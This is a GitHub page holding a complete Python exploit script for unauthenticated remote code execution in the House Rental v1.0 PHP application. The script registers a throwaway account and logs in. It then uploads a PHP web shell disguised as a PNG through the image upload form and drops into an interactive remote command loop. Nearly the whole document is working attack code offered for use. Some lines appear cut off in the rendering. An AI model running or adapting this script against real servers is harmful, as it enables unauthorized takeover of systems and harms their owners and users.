hyd3sec / **HouseRental_Unauth_RCE** Public

Code Issues Pull requests Actions Projects Security Insights

master ▾

HouseRental_Unauth_RCE / **HouseRentalRCE.py** / <> Jump to ▾

hyd3sec - History

1 contributor

178 lines (162 sloc) | 8.85 KB

```
# Exploit Title: House Rental v1.0 - Unauthenticated Remote Code Execution
# Exploit Author: Adeeb Shah (@hyd3sec) & Bobby Cooke (boku)
# Vulnerability Discovery: Adeeb Shah (@hyd3sec)
# Date: 2020-08-07
# Vendor Homepage: https://projectworlds.in/free-projects/php-projects/house-rental-and-property-listing-project-php-mysql
# Software Link: https://projectworlds.in/wp-content/uploads/2019/06/home-rental.zip
# Version: 1.0
# CWE-434: Unrestricted Upload of File with Dangerous Type
# Overall CVSS Score: 7.2
# CVSS v3.1 Vector: AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H/E:F/RL:U/RC:C/CR:L/IR:L/AR:L/MAV:N/MAC:L/MPR:H/MUI:N/MS:C/MC:H/MI:H/MA:H
# CVSS Base Score: 9.1 | Impact Subscore: 6.0 | Exploitability Subscore: 2.3
# CVSS Temporal Score: 8.9 | CVSS Environmental Score: 7.2 | Modified Impact Subscore: 4.5
# Tested On: Windows 10 (x64_86) + XAMPP | Python 2.7
# Vulnerability Description:
#   House Rental v1.0 suffers from an unauthenticated file upload vulnerability allowing for remote attackers to create a normal user and gain remote code execution (RCE) on the ho

import requests, sys, re
from colorama import Fore, Back, Style
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
#proxies         = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
F = [Fore.RESET,Fore.BLACK,Fore.RED,Fore.GREEN,Fore.YELLOW,Fore.BLUE,Fore.MAGENTA,Fore.CYAN,Fore.WHITE]
B = [Back.RESET,Back.BLACK,Back.RED,Back.GREEN,Back.YELLOW,Back.BLUE,Back.MAGENTA,Back.CYAN,Back.WHITE]
S = [Style.RESET_ALL,Style.DIM,Style.NORMAL,Style.BRIGHT]
info = S[3]+F[5]+'['+S[0]+S[3]+'-'+S[3]+F[5]+']'+S[0]+' '
err  = S[3]+F[2]+'['+S[0]+S[3]+'!'+S[3]+F[2]+']'+S[0]+' '
ok   = S[3]+F[3]+'['+S[0]+S[3]+'+'+S[3]+F[3]+']'+S[0]+' '

def webshell(SERVER_URL, WEBSHELL_PATH, session):
    try:
        WEB_SHELL = SERVER_URL + WEBSHELL_PATH
        print(info+"Webshell URL: "+ WEB_SHELL)
        getdir  = {'s33k': 'echo %CD%'}
        req = session.post(url=WEB_SHELL, data=getdir, verify=False)
        status = req.status_code
        if status != 200:
            print(err+"Could not connect to the webshell.")
            req.raise_for_status()
        print(ok+'Successfully connected to webshell.')
        cwd = re.findall('[CDEF].*', req.text)
        cwd = cwd[0]+"> "
        term = S[3]+F[3]+cwd+F[0]
        print(F[0]+'.....................'+'+'   Remote Code Execution   '+F[0]+'.....................')
        # print(S[1]+F[2]+')'+F[4]+'+++++'+F[2]+'['+F[0]+'=========>'+S[0]+S[3]+'   hyd3sec & boku   '+S[0]+S[1]+'<========='+F[2]+']'+F[4]+'+++++'+F[2]+'('+F[0]+S[0])
        while True:
            cmd     = raw_input(term)
            command = {'s33k': cmd}
            req = requests.post(WEB_SHELL, data=command, verify=False)
            status = req.status_code
            if status != 200:
                req.raise_for_status()
            resp= req.text
            print(resp)
    except:
        print('\r\n'+err+'Webshell session failed. Quitting.')
        sys.exit(-1)


def sig():
    SIG  = F[2]+"    .-----.._       ,--.              "+F[5]+"  .__                .__________\n"
    SIG += F[2]+"    |  ..    >  "+F[4]+"___"+F[2]+" |  | .--.         "+F[5]+"  |  |__ ___.__. __| _\\_____  \\  ______ ____  ____\n"
    SIG += F[2]+"    |  |.'  ,'"+F[4]+"-'"+F[2]+"* *"+F[4]+"'-."+F[2]+" |/  /__   __    "+F[5]+"  |  |  <   |  |/ __ |  _(__  < /  ____/ __ _/ ___\\\n"
    SIG += F[2]+"    |      <"+F[4]+"/ "+F[2]+"*  *  *"+F[4]+" \\   "+F[2]+"/   \\/   \\  "+F[5]+"  |   Y  \\___  / /_/ | /       \\\\___ \\\\  ___\\  \\___\n"
    SIG += F[2]+"    | |>   )   "+F[2]+"* *"+F[4]+"   /    "+F[2]+"\\        \\ "+F[5]+"  |___|  / ____\____ |/______  /____  >\\___  \\___  >\n"
    SIG += F[2]+"    |____..- "+F[4]+"'-.._..-'"+F[2]+"_|\\___|._..\\___\\"+F[5]+"       \\/\\/         \\/       \\/     \\/     \\/    \\/\n"
    SIG += F[2]+"        "+F[2]+"_______github.com/boku7_____  "+F[5]+"         _______github.com/hyd3sec_____\n"+F[0]+S[0]
    return SIG



def formatHelp(STRING):
    return S[2]+F[2]+STRING+S[0]

def header():
    head = S[1]+F[0]+'       --- House Rental v1.0 - Unauthenticated Remote Code Execution (RCE) ---\n'+S[0]
    return head

if __name__ == "__main__":
#1 | INIT
```

```
    print(header())
    print(sig())
    if len(sys.argv) != 2:
        print(err+formatHelp("Usage:\t python %s <WEBAPP_URL> " % sys.argv[0]))
        print(err+formatHelp("Example:\t python %s http://192.168.222.135" % sys.argv[0]))
        sys.exit(-1)
    # python CLI Arguments
    SERVER_URL  = sys.argv[1]
   # USERNAME    = sys.argv[2]
   # PASSWORD    = sys.argv[3]
    # Make sure that URL has a / at end
    if not re.match(r".*/$", SERVER_URL):
        SERVER_URL = SERVER_URL+'/'
    # URLs
    LOGIN_URL   = SERVER_URL + 'home-rental/auth/login.php'
    UPLOAD_URL  = SERVER_URL + 'home-rental/app/register.php'
    REGISTER_URL = SERVER_URL + 'home-rental/auth/register.php?action=reg'

#2 | Create Session
    # Create a web session in python
    s = requests.Session()
    # GET request to webserver - Start a session & retrieve a session cookie
    get_session = s.get(REGISTER_URL, verify=False)
    # Check connection to website & print session cookie to terminal OR die
    if get_session.status_code == 200:
        print(ok+'Successfully connected to House Rental PHP server & creating new user.')
        print(info+"Session Cookie: " + get_session.headers['Set-Cookie'])
    else:
        print(err+'Cannot connect to the server and create a new user.')
        sys.exit(-1)
    # POST data to create new user
    login_data  = {'fullname':'hyd3sec','username':'hyd3sec','mobile':'1231221235','email':'hyd3sec@boku.com','password':'lolz','c_password':'lolz','register':'register'}
    print(info+"Attempting to create new user...")
    #auth        = s.post(url=REGISTER_URL, data=login_data, verify=False, proxies=proxies)
    auth        = s.post(url=REGISTER_URL, data=login_data, verify=False)
    loginchk    = str(re.findall(r'Registration successfull', auth.text))
    # print(loginchk) # Debug - search login response for successful login
    if loginchk == "[u'Registration successfull']":
        print(ok+"Registration successful.")
    else:
        print(err+"Failed to create user.")
        sys.exit(-1)

#3 | Login
    # Create a web session in python
    s = requests.Session()
    # GET request to webserver - Start a session & retrieve a session cookie
    get_session = s.get(sys.argv[1], verify=False)
    # Check connection to website & print session cookie to terminal OR die
    if get_session.status_code == 200:
        print(ok+'Successfully connected to House Rental server & created session.')
#        print(info+"Session Cookie: " + get_session.headers['Set-Cookie'])
    else:
        print(err+'Cannot connect to the server and create a web session.')
        sys.exit(-1)
    # POST data to bypass authentication as admin
    login_data  = {'username':'hyd3sec', 'password':'lolz','login':'Login'}
    print(info+"Attempting to use new credentials to login...")
    #auth        = s.post(url=LOGIN_URL, data=login_data, verify=False, proxies=proxies)
    auth        = s.post(url=LOGIN_URL, data=login_data, verify=False)
    loginchk    = str(re.findall(r'hyd3sec', auth.text))
    # print(loginchk) # Debug - search login response for successful login
    if loginchk == "[u'hyd3sec']":
        print(ok+"Login successful.")
    else:
        print(err+"Failed login. Try editing the script with a different username.")
        sys.exit(-1)

#3 | File Upload
    PNG_magicBytes = '\x89\x50\x4e\x47\x0d\x0a\x1a'
    # Content-Disposition: form-data; name="image"; filename="hyd3sec.php"
    # Content-Type: image/png
    shellz       = {
        'image':
        (
            'hyd3sec.php',
            '<?php echo shell_exec($_REQUEST["s33k"]); ?>',
            'image/png',
            {'Content-Disposition': 'form-data'}
        )
    }
    fdata       = {'apartment_name':'hyd3sec','mobile':'1234567877','email':'hyd3sec@lolz.org','plot_number':'1','country':'1','state':'1','city':'1','address':'1','landmark':'',
    print(info+"Exploiting image file upload vulnerability to upload and obfuscate shell")
    #upload_house = s.post(url=UPLOAD_URL, files=shellz, data=fdata, verify=False, proxies=proxies)
    upload_house = s.post(url=UPLOAD_URL, files=shellz, data=fdata, verify=False)

#4 | Get Webshell Upload Name
    get_session2 = s.get(SERVER_URL + 'home-rental/app/uploads/hyd3sec.php', verify=False)
    if get_session2.status_code == 200:
        print(ok+'Successfully uploaded malicious file...')
    else:
        print(err+'Could not locate correct path!')
        sys.exit(-1)

    webshPath   = '/home-rental/app/uploads/hyd3sec.php'
    print(info+"Webshell Filename: " + SERVER_URL +  webshPath)

#5 | interact with webshell for Remote Command Execution
```

```
    webshell(SERVER_URL, webshPath, s)
```